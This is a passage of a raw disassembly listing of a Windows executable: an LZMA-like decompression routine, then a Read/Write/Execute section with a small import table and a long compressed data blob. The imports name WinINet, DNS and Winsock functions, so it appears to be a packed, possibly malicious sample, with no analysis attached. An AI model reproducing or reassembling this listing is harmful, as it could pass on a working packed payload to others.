mov ecx, [ebp-18h]
mov [edx], edi
jmp short loc_437AA0
; ---------------------------------------------------------------------------
loc_437A89: ; CODE XREF: .vty:00437A72j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, ecx
shr edi, 5
sub ecx, edi
mov [edx], ecx
mov edx, [ebp-18h]
mov ecx, [ebp-28h]
mov [ebp-28h], edx
loc_437AA0: ; CODE XREF: .vty:00437A87j
mov edx, [ebp-1Ch]
mov [ebp-18h], edx
loc_437AA6: ; CODE XREF: .vty:00437A2Aj
mov edx, [ebp-14h]
mov [ebp-1Ch], edx
mov [ebp-14h], ecx
loc_437AAF: ; CODE XREF: .vty:004379CAj
xor ecx, ecx
cmp dword ptr [ebp-0Ch], 7
setnl cl
dec ecx
and ecx, 0FFFFFFFDh
add ecx, 0Bh
mov [ebp-0Ch], ecx
mov ecx, [ebp+10h]
add ecx, 14D0h
loc_437ACB: ; CODE XREF: .vty:004378DDj
cmp eax, 1000000h
jnb short loc_437AE9
mov edi, [ebp-8]
mov edx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl edx, 8
or edx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_437AE9: ; CODE XREF: .vty:00437AD0j
mov edx, [ecx]
mov edi, eax
shr edi, 0Bh
imul edi, edx
cmp [ebp+0Ch], edi
jnb short loc_437B15
mov eax, edi
mov edi, 800h
sub edi, edx
shr edi, 5
add edi, edx
shl esi, 5
and dword ptr [ebp-24h], 0
mov [ecx], edi
lea ecx, [ecx+esi+8]
jmp short loc_437B73
; ---------------------------------------------------------------------------
loc_437B15: ; CODE XREF: .vty:00437AF6j
sub [ebp+0Ch], edi
sub eax, edi
mov edi, edx
shr edi, 5
sub edx, edi
cmp eax, 1000000h
mov [ecx], edx
jnb short loc_437B41
mov edi, [ebp-8]
mov edx, [ebp+0Ch]
movzx edi, byte ptr [edi]
shl edx, 8
or edx, edi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_437B41: ; CODE XREF: .vty:00437B28j
mov edx, [ecx+4]
mov edi, eax
shr edi, 0Bh
imul edi, edx
cmp [ebp+0Ch], edi
jnb short loc_437B7C
mov eax, edi
mov edi, 800h
sub edi, edx
shr edi, 5
add edi, edx
shl esi, 5
mov [ecx+4], edi
lea ecx, [ecx+esi+208h]
mov dword ptr [ebp-24h], 8
loc_437B73: ; CODE XREF: .vty:00437B13j
mov dword ptr [ebp-20h], 3
jmp short loc_437B9F
; ---------------------------------------------------------------------------
loc_437B7C: ; CODE XREF: .vty:00437B4Fj
sub [ebp+0Ch], edi
mov esi, edx
shr esi, 5
sub edx, esi
sub eax, edi
mov [ecx+4], edx
add ecx, 408h
mov dword ptr [ebp-24h], 10h
mov dword ptr [ebp-20h], 8
loc_437B9F: ; CODE XREF: .vty:00437B7Aj
mov edx, [ebp-20h]
xor ebx, ebx
mov [ebp-2Ch], edx
inc ebx
loc_437BA8: ; CODE XREF: .vty:00437C01j
cmp eax, 1000000h
jnb short loc_437BC6
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_437BC6: ; CODE XREF: .vty:00437BADj
mov edx, [ecx+ebx*4]
mov esi, eax
shr esi, 0Bh
imul esi, edx
cmp [ebp+0Ch], esi
jnb short loc_437BEB
mov eax, esi
mov esi, 800h
sub esi, edx
shr esi, 5
add esi, edx
mov [ecx+ebx*4], esi
add ebx, ebx
jmp short loc_437BFE
; ---------------------------------------------------------------------------
loc_437BEB: ; CODE XREF: .vty:00437BD4j
sub [ebp+0Ch], esi
sub eax, esi
mov esi, edx
shr esi, 5
sub edx, esi
mov [ecx+ebx*4], edx
lea ebx, [ebx+ebx+1]
loc_437BFE: ; CODE XREF: .vty:00437BE9j
dec dword ptr [ebp-2Ch]
jnz short loc_437BA8
mov ecx, [ebp-20h]
xor edx, edx
inc edx
mov esi, edx
shl esi, cl
mov ecx, [ebp-24h]
sub ecx, esi
add ebx, ecx
cmp dword ptr [ebp-0Ch], 4
mov [ebp-30h], ebx
jge loc_437DB5
add dword ptr [ebp-0Ch], 7
cmp ebx, 4
jge short loc_437C2E
mov ecx, ebx
jmp short loc_437C31
; ---------------------------------------------------------------------------
loc_437C2E: ; CODE XREF: .vty:00437C28j
push 3
pop ecx
loc_437C31: ; CODE XREF: .vty:00437C2Cj
mov esi, [ebp+10h]
shl ecx, 8
lea edi, [esi+ecx+6C0h]
mov dword ptr [ebp-2Ch], 6
loc_437C45: ; CODE XREF: .vty:00437C9Ej
cmp eax, 1000000h
jnb short loc_437C63
mov esi, [ebp-8]
mov ecx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl ecx, 8
or ecx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], ecx
loc_437C63: ; CODE XREF: .vty:00437C4Aj
mov ecx, [edi+edx*4]
mov esi, eax
shr esi, 0Bh
imul esi, ecx
cmp [ebp+0Ch], esi
jnb short loc_437C88
mov eax, esi
mov esi, 800h
sub esi, ecx
shr esi, 5
add esi, ecx
mov [edi+edx*4], esi
add edx, edx
jmp short loc_437C9B
; ---------------------------------------------------------------------------
loc_437C88: ; CODE XREF: .vty:00437C71j
sub [ebp+0Ch], esi
sub eax, esi
mov esi, ecx
shr esi, 5
sub ecx, esi
mov [edi+edx*4], ecx
lea edx, [edx+edx+1]
loc_437C9B: ; CODE XREF: .vty:00437C86j
dec dword ptr [ebp-2Ch]
jnz short loc_437C45
sub edx, 40h
cmp edx, 4
mov edi, edx
jl loc_437D86
mov ecx, edx
sar ecx, 1
and edi, 1
dec ecx
or edi, 2
cmp edx, 0Eh
mov [ebp-14h], ecx
jge short loc_437CD3
shl edi, cl
mov ecx, edi
sub ecx, edx
mov edx, [ebp+10h]
lea ebx, [edx+ecx*4+0ABCh]
jmp short loc_437D19
; ---------------------------------------------------------------------------
loc_437CD3: ; CODE XREF: .vty:00437CBFj
sub ecx, 4
loc_437CD6: ; CODE XREF: .vty:00437D04j
cmp eax, 1000000h
jnb short loc_437CF4
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_437CF4: ; CODE XREF: .vty:00437CDBj
shr eax, 1
add edi, edi
cmp [ebp+0Ch], eax
jb short loc_437D03
sub [ebp+0Ch], eax
or edi, 1
loc_437D03: ; CODE XREF: .vty:00437CFBj
dec ecx
jnz short loc_437CD6
mov ebx, [ebp+10h]
add ebx, 0C88h
shl edi, 4
mov dword ptr [ebp-14h], 4
loc_437D19: ; CODE XREF: .vty:00437CD1j
xor ecx, ecx
inc ecx
mov [ebp-20h], ebx
mov [ebp-24h], ecx
loc_437D22: ; CODE XREF: .vty:00437D84j
cmp eax, 1000000h
jnb short loc_437D40
mov esi, [ebp-8]
mov edx, [ebp+0Ch]
movzx esi, byte ptr [esi]
shl edx, 8
or edx, esi
shl eax, 8
inc dword ptr [ebp-8]
mov [ebp+0Ch], edx
loc_437D40: ; CODE XREF: .vty:00437D27j
mov edx, [ebx+ecx*4]
mov esi, eax
shr esi, 0Bh
imul esi, edx
cmp [ebp+0Ch], esi
jnb short loc_437D65
mov eax, esi
mov esi, 800h
sub esi, edx
shr esi, 5
add esi, edx
mov [ebx+ecx*4], esi
add ecx, ecx
jmp short loc_437D7E
; ---------------------------------------------------------------------------
loc_437D65: ; CODE XREF: .vty:00437D4Ej
sub [ebp+0Ch], esi
mov ebx, [ebp-20h]
sub eax, esi
mov esi, edx
shr esi, 5
sub edx, esi
or edi, [ebp-24h]
mov [ebx+ecx*4], edx
lea ecx, [ecx+ecx+1]
loc_437D7E: ; CODE XREF: .vty:00437D63j
shl dword ptr [ebp-24h], 1
dec dword ptr [ebp-14h]
jnz short loc_437D22
loc_437D86: ; CODE XREF: .vty:00437CA8j
inc edi
mov [ebp-14h], edi
jz short loc_437DBA
mov ebx, [ebp-30h]
loc_437D8F: ; CODE XREF: .vty:00437DB8j
mov ecx, [ebp-10h]
inc ebx
sub ecx, edi
inc ebx
add ecx, [ebp+8]
loc_437D99: ; CODE XREF: .vty:00437DAEj
mov dl, [ecx]
mov esi, [ebp-10h]
mov edi, [ebp+8]
dec ebx
inc dword ptr [ebp-10h]
inc ecx
test ebx, ebx
mov [ebp-1], dl
mov [edi+esi], dl
jnz short loc_437D99
jmp loc_4376A8
; ---------------------------------------------------------------------------
loc_437DB5: ; CODE XREF: .vty:00437C1Bj
mov edi, [ebp-14h]
jmp short loc_437D8F
; ---------------------------------------------------------------------------
loc_437DBA: ; CODE XREF: .vty:00437D8Aj
mov eax, [ebp-10h]
leave
retn 0Ch
; ---------------------------------------------------------------------------
align 400h
_vty ends
; Section 2. (virtual address 00038000)
; Virtual size : 00011000 ( 69632.)
; Section size in file : 00011000 ( 69632.)
; Offset to raw data for section: 00038000
; Flags E0000000: Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_vty segment para public 'CODE' use32
assume cs:_vty
;org 438000h
assume es:nothing, ss:nothing, ds:_vty, fs:nothing, gs:nothing
dd 7C80B6A1h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 7C801AD0h
dd 0
dd 38000h, 2 dup(0)
dd 380A4h, 38000h, 38030h, 42C2C8A1h, 0
dd 380F9h, 38030h, 38044h, 76F36C5Bh, 0
dd 38113h, 38044h, 38058h, 71AB615Ah, 0
dd 38129h, 38058h, 3806Ch, 7E41BD76h, 0
dd 38134h, 3806Ch, 38080h, 77DD6BF0h, 0
dd 3814Ch, 38080h, 5 dup(0)
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 74654700h, 75646F4Dh
dd 6148656Ch, 656C646Eh, 65470041h, 6F725074h, 64644163h
dd 73736572h, 72695600h, 6C617574h, 6F6C6C41h, 69560063h
dd 61757472h, 6572466Ch, 69560065h, 61757472h, 6F72506Ch
dd 74636574h, 4E495700h, 54454E49h, 6C6C642Eh, 746E4900h
dd 656E7265h, 65704F74h, 4400416Eh, 5041534Eh, 6C642E49h
dd 6E44006Ch, 65755173h, 415F7972h, 32535700h, 2E32335Fh
dd 6C6C64h, 52455355h, 642E3233h, 47006C6Ch, 75437465h
dd 726F7372h, 736F50h, 41564441h, 32334950h, 6C6C642Eh
dd 67655200h, 736F6C43h, 79654B65h, 0
dd 8E962600h, 0BC180000h, 9E4B34BAh, 83C404B9h, 0E21003C9h
dd 11726ADFh, 482DE040h, 6D5CB5B3h, 6792A8DEh, 0D23E65C0h
dd 0F923315Ah, 0D879C3F2h, 0D9887FC1h, 2C098828h, 0DB3992C0h
dd 90253F6Ah, 0A9787B5Eh, 7EF66BE9h, 0F3977F67h, 0E008D2E1h
dd 8D2E257Dh, 0D29AA7DBh, 68FD3CAAh, 838585F9h, 4BC8CD9Ch
dd 0B725E0h, 0FF39CCA0h, 0B205D4Ah, 0CE406234h, 0A68332DCh
dd 57594121h, 3AEE11Bh, 50B9A09Dh, 0C8869026h, 0F8F2E7EAh
dd 355F10EEh, 0A731E2A9h, 80B34CB0h, 0B1B18B49h, 4666C93Dh
dd 1E26023Bh, 17C6341Ah, 600E2E8h, 5839A380h, 6434906Bh
dd 0BE55BC32h, 74978EC6h, 96A16430h, 0F8D71117h, 81B67BA1h
dd 48213C24h, 0CA83F0E2h, 7B0C0227h, 0DCE6A8A1h, 0A2C4BA46h
dd 3F137E2Bh, 9FB59C3Eh, 0FEA2731Bh, 5E4ABF40h, 0E8CA91F4h
dd 0CB485880h, 6B25BF8Fh, 2C7B31EAh, 1F8B5F9Ah, 8EA6F7B0h
dd 0C5C2AAF0h, 1C7BD42Dh, 1DC724F1h, 94C8944Eh, 6C3FA044h
dd 0ABE6389Ch, 8361FF3Fh, 80000050h, 0F83D0002h, 57000000h
dd 640FC9Fh, 0C79E534h, 0C441A4C1h, 0DBE0158Ah, 0AD0C4220h
dd 0F1A4DA8h, 0D8B95382h, 72AFF552h, 0EC313BD7h, 0A6FC6247h
dd 0CB98AB7Eh, 0C5E8FD86h, 91B144DBh, 0F4318DCAh, 0A052D8E4h
dd 9F2C18A7h, 9E0A06FEh, 2C585DA5h, 25A3B98Bh, 740BA3EEh
dd 3CBA1C58h, 71CB9B24h, 3AEB3DBEh, 4CDB139Ch, 0F53139E8h
dd 9A76D5D8h, 8CBB9489h, 45D882A7h, 7B3CDFE3h, 7347C49Fh
dd 43268A33h, 0C232809Ah, 49F25603h, 41B95CCCh, 0BBE26F60h
dd 0BC222E52h, 142E4CCEh, 0A74F1D22h, 537BE748h, 0D6BE1D68h
dd 83D47D02h, 9BE6E1A0h, 54602C1h, 0CFDF89A2h, 82DAE1A9h
dd 0E94EA34Ah, 0DFFFCB6Bh, 8E3CAB6Ch, 693469A1h, 34A1BE5Dh
dd 0D6086651h, 0E529B8E0h, 8825EB1Ah, 64B847A2h, 9A58C6h
dd 5624D837h, 0B5EC087h, 44CB1516h, 2B5AECC6h, 0A14F42F4h
dd 0AD1028E2h, 46E9127Fh, 85AC7EBCh, 4BDBA16Ah, 0E06D687h
dd 0D2D9E761h, 6ED701C2h, 0AB242C92h, 1AE223D2h, 1A820EEBh
dd 7BF50F24h, 59D62B7Fh, 7CFF023Fh, 0C38C1FEh, 80DE4C89h
dd 0B4B8E3C5h, 5CC9871Fh, 7A5A039h, 0F358A597h, 24D8FD56h
dd 9E7C4DA9h, 7297174h, 74BEAE2Eh, 0C2794936h, 88A64D8Bh
dd 2BB4DDF3h, 997036DBh, 0D8A2E926h, 0FB0229A3h, 5437C69Ah
dd 0F5C3A9D5h, 0B7796C02h, 7333F766h, 0A59BBFDDh, 0AA81A112h
dd 0FE7AB081h, 6E9051DEh, 747DDF76h, 5B32D03Bh, 0CA1EAE35h
dd 0DC8DC18h, 0D89C9EC6h, 20917F3Dh, 1482F959h, 0DBFE0ED0h
dd 0FCC3526Ah, 18FD47F0h, 77A8D4h, 9AAD6CF9h, 3F628832h
dd 0F657AC40h, 82162217h, 92E72FD0h, 9024E42Ch, 0FAA37AF0h
dd 0CB88EF5Ch, 0B174AB25h, 8BFFD038h, 15C88BC8h, 8AB4274h
dd 82E47412h, 37A20BC1h, 0E74F53E5h, 0E272DABAh, 14FF83F6h
dd 3315BC99h, 37FAB61Ah, 1D42DB71h, 5D61548Ch, 0B7A0A8FFh
dd 507BCA37h, 0ABD39C73h, 1A685EB3h, 4151EF40h, 0F8B13909h
dd 3B88BECCh, 0BB957791h, 8DF1B8A2h, 346877B3h, 4D196657h
dd 1803B326h, 4DD42654h, 67D76A12h, 0CB6A7705h, 617473E8h
dd 83F33523h, 744BC47Bh, 6CF8CD9Fh, 591B0ED1h, 9D1CEA96h
dd 0B261D1A9h, 0FEDC798Dh, 74CEEDE7h, 18766DC4h, 0AB3E5E1Ah
dd 0C2BF861Ah, 7C3360F3h, 533395BCh, 0C645D04h, 82E8EF7Eh
dd 18857C21h, 615DB98Ch, 9A2E357h, 0E3F3C5CEh, 13225E14h
dd 0D217B9AEh, 711D6037h, 0FA52126h, 2B8175F0h, 0FF5035F7h
dd 0E8E29BE6h, 7C7FE5CBh, 0F77B0C4Ah, 7DAA7FA6h, 0C851404Fh
dd 1287FA25h, 0C4B04ABEh, 5FEA35D1h, 3917997h, 0CF4B45F6h
dd 6FED2C53h, 0F8E4BF72h, 0CC21F1F7h, 1B76F17h, 0FAA669E1h
dd 189AD9EDh, 0A800BA3Fh, 19D45E36h, 168C0A52h, 0F1244488h
dd 3952D650h, 0EAEA7713h, 0EB54693Eh, 732CB306h, 4295D4B0h
dd 143D2D9Eh, 0E45981B3h, 0BD7088BFh, 7B95D97Dh, 1878F466h
dd 9F449012h, 23F636D2h, 17D183A9h, 0EDB23C2Eh, 0A7267877h
dd 42FD4B78h, 0A0118471h, 8EAFED0Eh, 0A357864Ch, 2A831786h
dd 0BF13D477h, 129F6FFBh, 65ECE241h, 0DAF8E667h, 5AA0CCFFh
dd 3A49AEBh, 0E587611Dh, 0D2D3EF36h, 287DB87h, 644CF13Bh
dd 83D7F6B9h, 0A214E2BEh, 6B6D446Eh, 0B0D14FBDh, 7DC296DFh
dd 0C7E58401h, 0C8A13EBCh, 1BBDC28Fh, 0C2F79AF5h, 0B191302Ah
dd 0F3F8029Ch, 45EA40D1h, 0BF3CA961h, 0DCBEA8C7h, 0E66E807Dh
dd 0CBD735B3h, 6DC7F7EFh, 8D77F5BAh, 0E54A7897h, 560C3A24h
dd 60DD1D72h, 1AD1D7CCh, 0A1D59457h, 19FAF5AEh, 296AD579h
dd 0A3CB64E3h, 0A82A746Eh, 4AC241EEh, 0D308C894h, 161CBF18h
dd 0D9AC403Dh, 0E87F7263h, 97782DDEh, 5867C65Fh, 3C1FDBC9h
dd 0F57E8F45h, 0E32652E6h, 3955D536h, 0C2E71FBFh, 38B5781Bh
dd 0C06A9E52h, 0FA03B502h, 5181F64h, 86A19B61h, 458F6F53h
dd 81DE50A2h, 0FAB0843Bh, 9A9EDA32h, 6AC1995h, 551586EBh
dd 5E2AB144h, 5642EA56h, 0D3C60E97h, 253B0C80h, 4E5F5211h
dd 0B7E904B8h, 31DC5F4Ch, 0FA694545h, 6260AABDh, 466DB784h
dd 0DC8F5537h, 0A33FB7BBh, 5586E6EEh, 4B86649Ch, 1D5CD881h
dd 0F310932Ch, 43BDDC4h, 0BFE6BD9Ah, 5F67163Bh, 98EAF484h
dd 240B02E2h, 359412A2h, 9982D441h, 76C7677Eh, 80501B6Eh
dd 4AA7D325h, 0CE7789F9h, 0A2C2F0BAh, 2862AF92h, 51D57A65h
dd 3D784C48h, 0CF147BB9h, 827A8953h, 8199A382h, 0F3FE4E0h
dd 0C7456F00h, 7ACB082Eh, 3F517B17h, 325720CBh, 25451CFEh
dd 52BC4D96h, 0B1EC7B67h, 757110D6h, 0DCFE1B9Ch, 4B074961h
dd 2865C181h, 3058A799h, 0D9E0C030h, 90E945ADh, 0A40FEA6Bh
dd 162C10F1h, 59307C39h, 55C36B82h, 53929DC5h, 0DF03830Ch
dd 70517214h, 9A5E91B6h, 90866344h, 0CB53A440h, 0EABB1DDEh
dd 0A4F980Dh, 20A0B74h, 0FA9D09Eh, 0DB498A13h, 0F5A79230h
dd 66CCABD9h, 5B68A6F6h, 0A93DB4Bh, 0DDEBE36Eh, 99A5D9B4h
dd 2D138CBAh, 0A320F402h, 0E04B37F8h, 796CF687h, 0B5353687h
dd 0E2014A3Eh, 722FE106h, 840F1789h, 9B23FE11h, 22EEBB09h
dd 9D5C423Bh, 0A3A586F8h, 0C8C94403h, 55C86248h, 343A0541h
dd 0B6B2D16Dh, 83E3DEDFh, 17842023h, 0ECC7F8Eh, 52430E83h
dd 7A85A61Ch, 0FA1354B6h, 0A807AB6Ah, 8ADB7333h, 0D2581C84h
dd 6C050736h, 2FA72CDBh, 0EE87BACAh, 2EEBDDFFh, 0D3CEBE4Fh
dd 0E031975Eh, 7DEF4FC0h, 5F3B7C3Dh, 13F9AAFAh, 0E58E5219h
dd 0DF88F6FAh, 7A4BF879h, 0FCB74894h, 4EF7EB91h, 41D8C7D4h
dd 1E36677Ch, 507B6BA8h, 4D751AF6h, 0DAEAF7FEh, 9138818Ah
dd 89D08E52h, 6CCDD570h, 54A02A25h, 0EEF103AAh, 30D65717h
dd 0FC200FEBh, 856BBB27h, 64977136h, 8C91925h, 680402EAh
dd 0E0D1D72Eh, 8DD8C2A7h, 0EBE6F397h, 67CA9792h, 0D847B21Eh
dd 391DC1ADh, 17CE634Ch, 5D95297Bh, 23C37C47h, 6E07C4DEh
dd 15D622FEh, 0AE6B1C39h, 0E28B70C3h, 0BBACBC8Ah, 4D29E2C1h
dd 40681BD2h, 26DEB3F3h, 66CF20Eh, 15797E0Fh, 3BE63B90h
dd 60596C60h, 9D5495C2h, 70258EABh, 789505Fh, 5AA1C04Ch
dd 0B32AECA2h, 4460C232h, 0AF3B2767h, 0DF933AB0h, 5754FD78h
dd 0C5EE46ADh, 174E993Eh, 0BB26333Ah, 0E1123E5h, 3CC9D86Dh
dd 91776F1Bh, 1BBD026Bh, 4C3906B2h, 2DBC0E55h, 0C88FD53h
dd 872A834Dh, 2BCD7D6Fh
dd 0BC210025h, 0A2E865B0h, 535977D3h, 1FB5379Ch, 1425D231h
dd 1C4D8E0Fh, 3EC1C17Dh, 6ADE48ADh, 3350C3E7h, 5B767AEBh
dd 2486F1Dh, 889D3BCBh, 64F60648h, 8DA67AF7h, 0EEE8BC85h
dd 73BC1733h, 8A69E30h, 6DB9EF36h, 0D309E699h, 43F8DB84h
dd 0CF806754h, 0A182EA42h, 53E0DB3Ah, 7EFDA86Dh, 22417E48h
dd 11C98ADBh, 0B9C5F61h, 0E1591409h, 1BEAC4FEh, 6B7ED7A0h
dd 0BD27B6BCh, 0E734474Ch, 0C72C647Ch, 5273BDDEh, 9545DA2Ch
dd 768DFB17h, 0A61269h, 2FC71B92h, 0FF56334Eh, 8375AB99h
dd 75594CB5h, 0F3FDC185h, 0B33ECB7Fh, 5737E6B2h, 125A7F8h
dd 8B13F95Eh, 0E11B6627h, 1E602569h, 7F5537E1h, 3687BBC3h
dd 642F3CF7h, 0FB97D716h, 245B429Ch, 0AF3CD60h, 67D70408h
dd 27F4CA40h, 0A83645C2h, 0E5F67EE4h, 0FC8F01E5h, 1D2EDEC4h
dd 0C700C90Bh, 9A5A2800h, 5A83372Fh, 0A8B6A7F9h, 0A48D6DE7h
dd 8E5856CDh, 359786BFh, 0AD8B2615h, 0FB19642Dh, 315A6A0Ah
dd 1982EF7h, 372B6D15h, 853A353Ah, 30D9AF02h, 0B4D5909Bh
dd 3094AB03h, 1641EAF5h, 2EAC739Fh, 0FA4BDEABh, 827FCD23h
dd 0D5334734h, 827847CFh, 0F35615C3h, 28228668h, 626B5FA0h
dd 0B4EEC7B0h, 0E1DFEB11h, 9FA7F2B9h, 0A22027E8h, 8B23CC09h
dd 0D0A7801h, 7DAAFC1Bh, 0BB4936D5h, 0D1F30AA7h, 0C860CC3h
dd 55158E2Fh, 6440A09Ch, 0C4BC4285h, 0CCCC1AA0h, 6CC05D6Bh
dd 0DF65C686h, 0E97DEE5Ch, 65F51EF6h, 891BE86h, 251AAAD7h
dd 5EB6450Ah, 682C2E5Bh, 97849EF5h, 0EFD7994Bh, 0C96A4443h
dd 0B070530Ch, 649FD529h, 3A8DCFA9h, 986591C3h, 0DB454B5Dh
dd 21376288h, 0F11B24E5h, 8CC15BCDh, 6BB4DD73h, 0F3643700h
dd 0A4A481F4h, 0F8197379h, 0F8A85488h, 1EDAB6F2h, 9BDE24D8h
dd 3B9C00A4h, 0C69F7159h, 50980698h, 492E00C1h, 30E31FF6h
dd 2B31EA89h, 3AE03C5h, 1F9E67BCh, 0EADAA5EDh, 0AB2D7465h
dd 0C1BA4148h, 2FD9CA8h, 0EA7D9900h, 375554B0h, 5E7342EEh
dd 7EDBEC8Eh, 0A245AB14h, 2B6DD43Fh, 0A4A16323h, 3E5DFE7Ch
dd 76903DBDh, 0BC29B383h, 6FA460A8h, 9EDACB46h, 883A5802h
dd 33765C78h, 78A01FB6h, 7ABEDC35h, 0E9B33A97h, 53CE8A5Ah
dd 0EA2A5360h, 18CDB24Bh, 929F4DB2h, 9887563Ah, 5EAC43CAh
dd 0E85FDBA9h, 9C98064Fh, 7EF40BC9h, 0DACFAA32h, 0A42B4561h
dd 26D4609Eh, 330D58F5h, 0DBE51211h, 884206C9h, 0B36951Ah
dd 0CBA50C02h, 0AEE9D99Dh, 0D3A09544h, 7CE95005h, 40759CB0h
dd 5C128A81h, 0A3A45C28h, 0DBFFBCCCh, 89CE8C36h, 0F7151547h
dd 9345A17Ch, 915771EDh, 1894EBDDh, 334BBA04h, 0DC6B6AE9h
dd 7D560480h, 0A03F3A8Dh, 460C9DF5h, 0EE643920h, 8C28B8F6h
dd 5925BD24h, 0A712F582h, 0AEE5D0CBh, 45071F41h, 97EB7DDh
dd 0D46CF9BDh, 7427DAAAh, 3A990BEDh, 786E2A56h, 0B3D19ABDh
dd 2A69C92Ch, 7CD2DD70h, 29DCCA4h, 54FF4C1Ah, 34CBCEC3h
dd 80553720h, 2D99AC2Fh, 4F18A56Ch, 92C0D72Bh, 41F49BBDh
dd 66248ECBh, 0C6B84E51h, 9D41F9F4h, 0B8EC151Ch, 486DBEC6h
dd 0C0AECCFFh, 0BF23CCC1h, 0D5C75FFCh, 880CFC61h, 3DEAFA0Eh
dd 0C61C8DEBh, 8CA55C05h, 0B822B1D3h, 0C4620EBh, 0CAD4CB62h
dd 274282F9h, 4B17A009h, 0BAC160D5h, 39E5F371h, 8FA41FFFh
dd 2495A9Dh, 4583BE61h, 72111F52h, 3105F14Ah, 0ADCA8573h
dd 0B193EEE9h, 0EDFB9450h, 9624E01Dh, 17B75ADEh, 77694899h
dd 0AD9B3458h, 1555807Dh, 0B37DC7E6h, 57C9C3CCh, 4CDD4179h
dd 0DFA9AFF1h, 0CA755B78h, 2C328F9Bh, 6726B19Eh, 3AE6D502h
dd 15DE786Ch, 7922A7DDh, 6EE38F88h, 0EB4FD89Dh, 5327FBC7h
dd 0FD8CBD2Fh, 0ACC3F135h, 16AEB01Ch, 5BB74176h, 56ECD4BCh
dd 0A966688Bh, 98E1ECD4h, 0D4E3336Ah, 0BF71048h, 857C3E5Ch
dd 0CC08E12Fh, 70AD15D5h, 0D1488E77h, 0A7D16927h, 1C1543Dh
dd 1B49E6Dh, 2109E27Ch, 90900522h, 0C5EBA272h, 4D2104DDh
dd 36BEA6E6h, 30EA9112h, 0AFEB4415h, 0C744CFE7h, 91078951h
dd 710D1BA9h, 403E9236h, 0F001FF43h, 0B8BEEF78h, 0AFDE4247h
dd 93F7F635h, 671326FBh, 86016BF6h, 0AD1A08D5h, 0BECEFC08h
dd 392E6BE5h, 368D2666h, 149BA70h, 53C44C75h, 2692398Fh
dd 0ACC5066Fh, 2D8D3B6Ch, 3F8C8CD1h, 0BBA7372Dh, 678675Eh
dd 0D1FDE251h, 82690FF3h, 0CBB5EB4Dh, 0A25EFD0h, 0A6E17FA7h
dd 0CD003698h, 7CFAC6A1h, 1E0D1C32h, 771A11BBh, 9413A1BFh
dd 4E0E467Eh, 3A5F43BFh, 315C3849h, 0AE7735F8h, 0AEB92586h
dd 0A05D95D8h, 3F197CB3h, 0A0513A5Bh, 8441A3E5h, 0BC24E268h
dd 57B58C67h, 0A02A6998h, 0EAB1767Fh, 3F2A2F21h, 0DB0C101Fh
dd 84C733FFh, 581C9E0Dh, 422C5D39h, 5519DD3h, 4FA42334h
dd 262B827Ah, 0CD24EF37h, 750FEB35h, 798D854Fh, 505B0CE1h
dd 167A9099h, 587EC92Ch, 24120090h, 34BE259Bh, 13635500h
dd 0DAC1C8B4h, 2E85035Fh, 0C3B7A063h, 0DF319571h, 0DAAD13F7h
dd 154B900Dh, 0F6B0347Dh, 0D6E9AC36h, 7C1A1399h, 5CD35F44h
dd 8717117Fh, 0C4D42D5Fh, 0BDF01C78h, 32701209h, 41B3A32Dh
dd 4FD81993h, 8427CA86h, 0C8EAFED0h, 7ACC97FBh, 50DD27C8h
dd 296BB1E0h, 152A0267h, 217B9189h, 75A31C95h, 6C32CCA8h
dd 0A9808F81h, 0EE25EAFEh, 643B5660h, 0BD9D0A9Ah, 0E78353AFh
dd 45CDA486h, 5F4FCE98h, 0EAE9497Ah, 0DBD4F34h, 9BB89A32h
dd 439C13AEh, 13567C6Ch, 45605AADh, 0F03EFEA3h, 84A8AB48h
dd 0FAF7651h, 116EF454h, 0C7924F71h, 0BC568335h, 13FD4DB1h
dd 1C490525h, 767255BFh, 2E08DC92h, 53CEF395h, 0BD62BFB9h
dd 759EEA51h, 0A408BD9h, 0DC3C718Bh, 92D3F6A0h, 0D7969FF9h
dd 0B5AF7220h, 6F0642ACh, 8978674h, 823BCB4Ah, 3DB8EAC7h
dd 88E89158h, 682B5008h, 0F637C999h, 80B617BDh, 128C7FDh
dd 65B6E302h, 0CF3563D5h, 56746680h, 0CA7878DAh, 0DFACF8CBh
dd 0C9333CAFh, 0E178FE51h, 93D00B3Bh, 115E1E7Fh, 939BD0FDh
dd 4B25414Dh, 0C474078Eh, 5A95ACE5h, 0EBC884C9h, 0F078FAF2h
dd 0E24A1E00h, 7E7A37D8h, 0E31CBFCBh, 363785Fh, 1337D6E4h
dd 6FBE8AF8h, 0EC4912A2h, 37A4ED2Fh, 65EDE9EDh, 86668829h
dd 4399770h, 0CDBD901Dh, 0EFE0D12Eh, 1EB38089h, 7F8EB192h
dd 0ED4E58AEh, 98A445E0h, 459BFDAAh, 40017941h, 0B5D87E7Ah
dd 8CD1C39Eh, 0D8F93FF6h, 0DDF40E0Fh, 1280E289h, 0B79795Fh
dd 0DBA7CF3Eh, 0EBA09068h, 0F0885CC3h, 1BEADC82h, 60F3B12Bh
dd 0BCD18859h, 93DCEB31h, 0BC5A58Ch, 0DBF460B9h, 0C5A2BD54h
dd 7167C85Fh, 84A20216h, 9F1313F2h, 0EBBEA7F7h, 0C79373B3h
dd 1BDF8CCAh, 5766DB57h, 5A6822E6h, 44BBDA7Dh, 51F4FB67h
dd 892A3C66h, 0F7BCD190h, 0F358DA3Fh, 0A3BBF893h, 882FFE14h
dd 375288D4h, 0E9DE070Eh, 1188816Dh, 0DA585516h, 4CB564B2h
dd 90B97EAh, 906104A1h, 2B224176h, 14ABF5B2h, 3EA780Bh
dd 32091B88h, 2B10FCDAh, 0ADD5CF39h, 52999CFDh, 0DA8E856Ah
dd 4E73ACFDh, 3B8DAF61h, 8DD8F57h, 0A784F785h, 1D5E66F0h
